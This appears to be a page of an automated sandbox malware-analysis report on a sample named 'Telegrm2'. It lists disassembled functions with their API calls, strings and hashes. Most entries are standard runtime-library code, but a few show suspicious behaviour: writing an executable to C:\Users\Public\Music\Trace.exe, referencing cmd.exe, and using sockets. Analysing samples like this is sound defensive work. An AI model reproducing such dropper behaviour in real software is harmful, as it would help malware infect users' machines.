Instruction Fuzzy Hash: B3312B3A70478085DB21DF25E94475AFB64E756BD4F244225DF9807B98DF3DC045CB04

Function 036340AC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 03633334: _getptd.LIBCMT ref: 03633346

_errno.LIBCMT ref: 036340D9
_invalid_parameter_noinfo.LIBCMT ref: 036340E4

Part of subcall function 03638CB8: iswctype.LIBCMT ref: 03638D25

Strings

Z, xrefs: 03634122
A, xrefs: 0363411C

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _errno_getptd_invalid_parameter_noinfoiswctype
String ID: A$Z
API String ID: 3686281101-4098844585
Opcode ID: 28c99b5ff7c153519cc676a4e33103c39524cc50a50e3399b67c0a2bdb34ff0a
Instruction ID: 1b9f16b78bebd58cf2ca20f863679a1fed8bd1b5f9a1e159e2135b286f00f867
Opcode Fuzzy Hash: 28c99b5ff7c153519cc676a4e33103c39524cc50a50e3399b67c0a2bdb34ff0a
Instruction Fuzzy Hash: F521A376B14B9182DB32DB579640179FBA0F362BE0B9C8216EBD907798DF28C481C704

Function 03643728 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 03643741
_invalid_parameter_noinfo.LIBCMT ref: 0364374D
_errno.LIBCMT ref: 03643774

Strings

1, xrefs: 036437C3

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID: 1
API String ID: 2819658684-2212294583
Opcode ID: 50368264324e67616dc9389bf485da506899b9637ca3f8622b1fbf59746f219f
Instruction ID: 68bab671bd7d397fd4ce5eaf831a84b0ed78f4cff1b4ee1950f86ba92191f885
Opcode Fuzzy Hash: 50368264324e67616dc9389bf485da506899b9637ca3f8622b1fbf59746f219f
Instruction Fuzzy Hash: 321127AEA193C085E71BCF24871832CAE54DB02B44F6DC455C6820B303D62EC961CB18

Function 03633290 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMONLIBRARYCODE

Download Yara Rule

APIs

_callnewh.LIBCMT ref: 0363329E
malloc.LIBCMT ref: 036332AA

Part of subcall function 03635728: _FF_MSGBANNER.LIBCMT ref: 03635758
Part of subcall function 03635728: RtlAllocateHeap.NTDLL ref: 0363577D
Part of subcall function 03635728: _callnewh.LIBCMT ref: 03635796
Part of subcall function 03635728: _errno.LIBCMT ref: 036357A1
Part of subcall function 03635728: _errno.LIBCMT ref: 036357AC

std::exception::exception.LIBCMT ref: 03633317

Strings

bad allocation, xrefs: 036332E7

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _callnewh_errno$AllocateHeapmallocstd::exception::exception
String ID: bad allocation
API String ID: 608171114-2104205924
Opcode ID: e4933d35d04738fe48630a5a9e6e3896ebd3c4167c8ff49aa8f67c5aa77d4a66
Instruction ID: 2b27f9e79992c84e715d8e95c5e360598a44f1672be1290948e4a0698e28fd8d
Opcode Fuzzy Hash: e4933d35d04738fe48630a5a9e6e3896ebd3c4167c8ff49aa8f67c5aa77d4a66
Instruction Fuzzy Hash: C4015A29644B4996FF21EF20F88039867A8F79A380F989429D94E4B724EF39D259C704

Function 0362F2D0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0362F303
WriteFile.KERNEL32 ref: 0362F339
CloseHandle.KERNEL32 ref: 0362F344

Strings

C:\Users\Public\Music\Trace.exe, xrefs: 0362F2DC

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\Public\Music\Trace.exe
API String ID: 1065093856-248444187
Opcode ID: 53b92b6cd56feaf15b65a536e72328d75669480d2c299fcd8d3bec73b883eb25
Instruction ID: fa1283796bd2824a195aab85670f37bf4e067d43558b73d382c2eaa6f73c740d
Opcode Fuzzy Hash: 53b92b6cd56feaf15b65a536e72328d75669480d2c299fcd8d3bec73b883eb25
Instruction Fuzzy Hash: BA01D632B0474093D7518F65F94474AB764F7887F8F445325EBAA43B98DBBDC2448B00

Function 03634F58 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,000000FF,03634FA1,?,?,00000028,03635771,?,?,4000000000000000,0363532C,?,?,00000000,03639B11), ref: 03634F67
GetProcAddress.KERNEL32(?,?,000000FF,03634FA1,?,?,00000028,03635771,?,?,4000000000000000,0363532C,?,?,00000000,03639B11), ref: 03634F7C

Strings

CorExitProcess, xrefs: 03634F72
mscoree.dll, xrefs: 03634F60

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: a2fcaf62532c29e7fde41b5b5f8bf500e2a8f0a554bc3f4e24468edd8fd13a2e
Instruction ID: fde65f2d6dd705c1d3009514fc439f49176dd8f048a6476b08ea91ee6d66d015
Opcode Fuzzy Hash: a2fcaf62532c29e7fde41b5b5f8bf500e2a8f0a554bc3f4e24468edd8fd13a2e
Instruction Fuzzy Hash: 49D09B51B1270091FF1BBBA2A99437453586B99B41F4C942DD41E07751FF3FC659C310

Function 03636894 Relevance: 6.4, APIs: 5, Instructions: 133COMMON

Download Yara Rule

APIs

Part of subcall function 036352FC: malloc.LIBCMT ref: 03635327
Part of subcall function 036352FC: Sleep.KERNEL32(?,?,00000000,03639B11,?,?,00000000,03639BBB,?,?,?,?,?,?,00000000,0363492C), ref: 0363533A

free.LIBCMT ref: 036369C0
free.LIBCMT ref: 036369DC

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: free$Sleepmalloc
String ID:
API String ID: 1995388493-0
Opcode ID: 39ce9d77a3e790452788de6fa24d85144c2e1ef8362bd983176990c83889e96e
Instruction ID: eb12b67982a39bd9a39f1afe03933e7d107a6d43f386e3fb8f7eaa729ff1c249
Opcode Fuzzy Hash: 39ce9d77a3e790452788de6fa24d85144c2e1ef8362bd983176990c83889e96e
Instruction Fuzzy Hash: B9416736305B44A3DB15DF26EA8035973A8FB86B94F588529DF8E4BB10DF38D5668304

Function 03639DC0 Relevance: 6.2, APIs: 4, Instructions: 159COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 03639E0E
_invalid_parameter_noinfo.LIBCMT ref: 03639E19
RtlDecodePointer.NTDLL ref: 03639EC8
_lock.LIBCMT ref: 03639EF3

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: DecodePointer_errno_invalid_parameter_noinfo_lock
String ID:
API String ID: 27599310-0
Opcode ID: 0aa54d6a95d10170ecf4e763d4e424ddcac3f0c57e5d8fec1b18f539ced30506
Instruction ID: a9f7472f356c6fd66d689627ff8e215349e09045bcf150cb31905e4c5a9acb8c
Opcode Fuzzy Hash: 0aa54d6a95d10170ecf4e763d4e424ddcac3f0c57e5d8fec1b18f539ced30506
Instruction Fuzzy Hash: 905116366067408ADB2ADF28E58073AB3E6FB87744F188529EA4B07724DFB9D141CF01

Function 03350AFC Relevance: 6.2, APIs: 4, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 03350100: _getptd.LIBCMT ref: 03350104

_getptd.LIBCMT ref: 03350B3B
_SetImageBase.LIBCMT ref: 03350C0E
_getptd.LIBCMT ref: 03350C3C
_getptd.LIBCMT ref: 03350C4A

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: _getptd$BaseImage
String ID:
API String ID: 2482573191-0
Opcode ID: af5f9acc29257a75163b341382d3d9079731c94abf06afe1f914a7fc080a4b22
Instruction ID: 527754fb83cc9096b1ba7b8a716fe630eab6b6bc43ed10e5af1d02ec0dd1c22e
Opcode Fuzzy Hash: af5f9acc29257a75163b341382d3d9079731c94abf06afe1f914a7fc080a4b22
Instruction Fuzzy Hash: 93410A35914B044ED31CFB7CC9C59F972D1FB45328F6845AEE846CB5A1EA72E882C282

Function 03642EBC Relevance: 6.1, APIs: 4, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 03633334: _getptd.LIBCMT ref: 03633346

_errno.LIBCMT ref: 03642EFA
_invalid_parameter_noinfo.LIBCMT ref: 03642F04
_errno.LIBCMT ref: 03642F28
_invalid_parameter_noinfo.LIBCMT ref: 03642F32

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfo$_getptd
String ID:
API String ID: 1297830140-0
Opcode ID: 1a8a4577df26bb9c911d828d0d8bc8a52fc454feb9f506b2457f655f52e7c9a9
Instruction ID: d81f13d7143374ef4689d3510db9214961fc306f8aa1d0e0fb5a1c491df9b0e1
Opcode Fuzzy Hash: 1a8a4577df26bb9c911d828d0d8bc8a52fc454feb9f506b2457f655f52e7c9a9
Instruction Fuzzy Hash: 4A4147767147C086DB51DF25C29426EBBA0F785FD0FA88125EB8A4BB25CF38C456C705

Function 0334E7B4 Relevance: 6.1, APIs: 4, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0334E7D3
_invalid_parameter_noinfo.LIBCMT ref: 0334E7DF
_errno.LIBCMT ref: 0334E809
_errno.LIBCMT ref: 0334E86B

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: ee74e047b5e6401e973330e134ad64bd7e3ff96d8a482232bd7c46c214a6dde7
Instruction ID: e23fb8a700a4dbc198ddc8a844edc99972a67418d5908a59cfb5e14e8372e487
Opcode Fuzzy Hash: ee74e047b5e6401e973330e134ad64bd7e3ff96d8a482232bd7c46c214a6dde7
Instruction Fuzzy Hash: 15317120A1CB894BDB0DCB2C94C43397BC5FB6A202F1C46BEE086D7653D961D8418391

Function 03631B40 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

IsBadCodePtr.KERNEL32 ref: 03631B75
realloc.LIBCMT ref: 03631BD4

Part of subcall function 03633D68: malloc.LIBCMT ref: 03633D85

IsBadCodePtr.KERNEL32 ref: 03631C59
SetLastError.KERNEL32 ref: 03631C7D

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: Code$ErrorLastmallocrealloc
String ID:
API String ID: 797104909-0
Opcode ID: a80c1a447f23a93d993543f1d2932430f74ef1f993dbf219c17908ed45751a1a
Instruction ID: c44e484eccb1de0a4a90c0885e29fc02c501ca168e2c4ec5c3a54ddaed228843
Opcode Fuzzy Hash: a80c1a447f23a93d993543f1d2932430f74ef1f993dbf219c17908ed45751a1a
Instruction Fuzzy Hash: C2413836705B8487DB24EB16E9403AAB3A4FB8AB99F484425DF8A47B14DF3CE491C700

Function 03641144 Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 03640748: _getptd.LIBCMT ref: 0364074C

_getptd.LIBCMT ref: 03641183

Part of subcall function 03634958: _amsg_exit.LIBCMT ref: 0363496E

_SetImageBase.LIBCMT ref: 03641256
_getptd.LIBCMT ref: 03641284
_getptd.LIBCMT ref: 03641292

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _getptd$BaseImage_amsg_exit
String ID:
API String ID: 2306399499-0
Opcode ID: 0769d695cd4d2d3998b4a4f54826d25061cdb002ce49cd68d359f2d784848161
Instruction ID: c46688a1faf9d332ccba98e71e02c0d54ce3b70bff780ce5cd3003651ec130e4
Opcode Fuzzy Hash: 0769d695cd4d2d3998b4a4f54826d25061cdb002ce49cd68d359f2d784848161
Instruction Fuzzy Hash: 3531E737B00B5591CB61E755D58426EEBA0FB83BD8B558225CF1D8B760DB38C0C6C709

Function 03342A74 Relevance: 6.1, APIs: 4, Instructions: 98COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 03342A9F
_invalid_parameter_noinfo.LIBCMT ref: 03342AAA
_getptd.LIBCMT ref: 03342AD0
free.LIBCMT ref: 03342B3B

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: _errno_getptd_invalid_parameter_noinfofree
String ID:
API String ID: 4053972703-0
Opcode ID: 23713fb59b6591edd0cf875b9b1ad7fa6c685f6b4e7a37dd8d801b22c82a6414
Instruction ID: e9229c216310f4b151305d56e8e20bcc1150e77980504b1df76bbff86ab8f3b4
Opcode Fuzzy Hash: 23713fb59b6591edd0cf875b9b1ad7fa6c685f6b4e7a37dd8d801b22c82a6414
Instruction Fuzzy Hash: 7621A734A08F094FD744FFA998C663AB7D5EB98311F000A3EE95DD7261DB70E8418782

Function 0363EDFC Relevance: 6.1, APIs: 4, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0363EE1B
_invalid_parameter_noinfo.LIBCMT ref: 0363EE27
_errno.LIBCMT ref: 0363EE51
_errno.LIBCMT ref: 0363EEB3

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: ee74e047b5e6401e973330e134ad64bd7e3ff96d8a482232bd7c46c214a6dde7
Instruction ID: 0760a8c016f0164dafefa6981620d22cd71fc9bc311460959c0d4155af99be5f
Opcode Fuzzy Hash: ee74e047b5e6401e973330e134ad64bd7e3ff96d8a482232bd7c46c214a6dde7
Instruction Fuzzy Hash: 15215737B0A3C1CAE705CBB8D55035E6B91E767780F1C8026DB468B382D67BC84AC765

Function 03635B2C Relevance: 6.0, APIs: 4, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 03635B36

Part of subcall function 03634958: _amsg_exit.LIBCMT ref: 0363496E

_lock.LIBCMT ref: 03635B64
free.LIBCMT ref: 03635B9A
_amsg_exit.LIBCMT ref: 03635BD3

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _amsg_exit$_getptd_lockfree
String ID:
API String ID: 2148533958-0
Opcode ID: 2d98ce4d8fe70de867e08986d3d5442836a3a60035c92c2316990183a6d51aa7
Instruction ID: 27826b3b63dfc4d82e04a1c1c05fc3211ea0ed97336d5f24faed606c0c092c71
Opcode Fuzzy Hash: 2d98ce4d8fe70de867e08986d3d5442836a3a60035c92c2316990183a6d51aa7
Instruction Fuzzy Hash: 65110A2A215B8492DA56DB12E590769B3B9F746B80F4C44A9DB5F07354DF38C0A4C704

Function 036347F4 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

FlsFree.KERNEL32(?,?,?,?,03634382), ref: 03634803
RtlDeleteCriticalSection.NTDLL ref: 03639A43
free.LIBCMT ref: 03639A4C
RtlDeleteCriticalSection.NTDLL ref: 03639A73

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: CriticalDeleteSection$Freefree
String ID:
API String ID: 1250194111-0
Opcode ID: 66e45fb4ed4c7c46c8d59f0427f6f79e842585fe759810a90be61511a68586aa
Instruction ID: 7fca8831cd68d4753c2105d8ca87a046de0da2d12ab58be20f7f80c1758cfdb2
Opcode Fuzzy Hash: 66e45fb4ed4c7c46c8d59f0427f6f79e842585fe759810a90be61511a68586aa
Instruction Fuzzy Hash: CC11C432A05E40DBEB26CF26F940329B3A4FB86BA4F5C9755DA5A07364CF79C585CB00

Function 0363303C Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 03633071
RtlExitUserThread.NTDLL ref: 03633079
GetCurrentThreadId.KERNEL32 ref: 03633080
_freefls.LIBCMT ref: 036330B1

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: Thread$CurrentErrorExitLastUser_freefls
String ID:
API String ID: 2333339018-0
Opcode ID: 69b812199c16afdaae1a59e7e8ee791a53b2082dbad02c07fef0847b3c668e27
Instruction ID: 845a72132dc52abb9115c300fb5da04766dff4c18a7eacabe534fb865736d65a
Opcode Fuzzy Hash: 69b812199c16afdaae1a59e7e8ee791a53b2082dbad02c07fef0847b3c668e27
Instruction Fuzzy Hash: F8F0BD2D601B4595DF05EBB2A54839C62A8AB0BB94F144439CA9D4F315EF3AC4948355

Function 036363FC Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 03636402

Part of subcall function 03634958: _amsg_exit.LIBCMT ref: 0363496E

_getptd.LIBCMT ref: 03636422
_lock.LIBCMT ref: 03636435
_amsg_exit.LIBCMT ref: 03636463

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _amsg_exit_getptd$_lock
String ID:
API String ID: 3670291111-0
Opcode ID: f9d7f55c62f021d6d126bd4c35a365dc27998b013c680b421a2cbfae27035ad4
Instruction ID: dc91a42340eaaa14862e01dd1514889594fe137e715de80f1353fb24de4fbed8
Opcode Fuzzy Hash: f9d7f55c62f021d6d126bd4c35a365dc27998b013c680b421a2cbfae27035ad4
Instruction Fuzzy Hash: DDF08225612644D2EF15EB62C890BA86360FB86B40F5D82BCCA5D0F391DF288450C725

Function 03622A50 Relevance: 6.0, APIs: 4, Instructions: 29synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32 ref: 03622A6F
CreateThread.KERNEL32 ref: 03622A95
WaitForSingleObject.KERNEL32 ref: 03622AA6
CloseHandle.KERNEL32 ref: 03622AB1

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: Create$CloseEventHandleObjectSingleThreadWait
String ID:
API String ID: 3360349984-0
Opcode ID: 7ec8991d8e7ba380ce2ba135d182d7ed855463916c5f2a3eec3c41204f7881e0
Instruction ID: 19fdc943e04b751e3735099feca63054e72528e061437545c65fd0745436bbcd
Opcode Fuzzy Hash: 7ec8991d8e7ba380ce2ba135d182d7ed855463916c5f2a3eec3c41204f7881e0
Instruction Fuzzy Hash: 0DF04932A18B8083E715DFB5B85475B77A6F3C6750F148229FA9E43B68DF3EC1598A00

Function 036226D0 Relevance: 6.0, APIs: 4, Instructions: 24COMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 03622703
CancelIo.KERNEL32 ref: 0362270D
closesocket.WS2_32 ref: 0362271D
SetEvent.KERNEL32 ref: 0362272A

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: CancelEventclosesocketsetsockopt
String ID:
API String ID: 852421847-0
Opcode ID: e40bbd37a51d8472f3c7ef4493497414e2ab08d8669d51031812fb7bf0656f87
Instruction ID: 6221821a8776cadebb2b2c7931d704667a8ff13e4689add6dd403bd386a6ce29
Opcode Fuzzy Hash: e40bbd37a51d8472f3c7ef4493497414e2ab08d8669d51031812fb7bf0656f87
Instruction Fuzzy Hash: 1EF03036604A4197E7529F26E544359B370F788BA4F504325DBBD43BE4CF7AC5A9CB00

Function 03351A7C Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 209COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 03351AA0

Strings

csm, xrefs: 03351BD7
csm, xrefs: 03351ACD

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: _getptd
String ID: csm$csm
API String ID: 3186804695-3733052814
Opcode ID: 5e3fd1bce8c838ab5e03e450a674cda2890a01e6717efc304ddca7fd09c103c4
Instruction ID: 4190798e9f7894626d932af70510a860ca68e91a2348d6d24e689de9031d7f02
Opcode Fuzzy Hash: 5e3fd1bce8c838ab5e03e450a674cda2890a01e6717efc304ddca7fd09c103c4
Instruction Fuzzy Hash: 7E518C34A18B098FCF68DE6884C5B69B7E1FB48311F58066DF88EC7651E770D881C786

Function 036420C4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 036420E8

Part of subcall function 03634958: _amsg_exit.LIBCMT ref: 0363496E

Strings

csm, xrefs: 03642115
csm, xrefs: 0364221F

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _amsg_exit_getptd
String ID: csm$csm
API String ID: 4217099735-3733052814
Opcode ID: 5e3fd1bce8c838ab5e03e450a674cda2890a01e6717efc304ddca7fd09c103c4
Instruction ID: 598c52d343d19af7819ae1d0e3786592e2d0c8dba1f62969114cb7c3077a0828
Opcode Fuzzy Hash: 5e3fd1bce8c838ab5e03e450a674cda2890a01e6717efc304ddca7fd09c103c4
Instruction Fuzzy Hash: 3051F436A04784C6CB24CF26D66076EBB64F341FC8F288529EF5987B54CB38C491CB05

Function 0363D904 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 03633334: _getptd.LIBCMT ref: 03633346

_errno.LIBCMT ref: 0363D84C
_invalid_parameter_noinfo.LIBCMT ref: 0363D857

Strings

cmd.exe, xrefs: 0363D82E

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _errno_getptd_invalid_parameter_noinfo
String ID: cmd.exe
API String ID: 2821341848-723907552
Opcode ID: df1fe02fa85223531e4a7700d4aec3d025e6332cc6e73b71f6ea6765585c5d02
Instruction ID: 898d2381b56648dda43ec2dc67dead2451b7dda03cbf9b7af31827866a9e6b12
Opcode Fuzzy Hash: df1fe02fa85223531e4a7700d4aec3d025e6332cc6e73b71f6ea6765585c5d02
Instruction Fuzzy Hash: 202134236157C482D761C715955017EE750E783BF4F1C8266EBDA07B6CDB38D046C705

Function 0364620B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 036462CF

Strings

csm, xrefs: 03646232
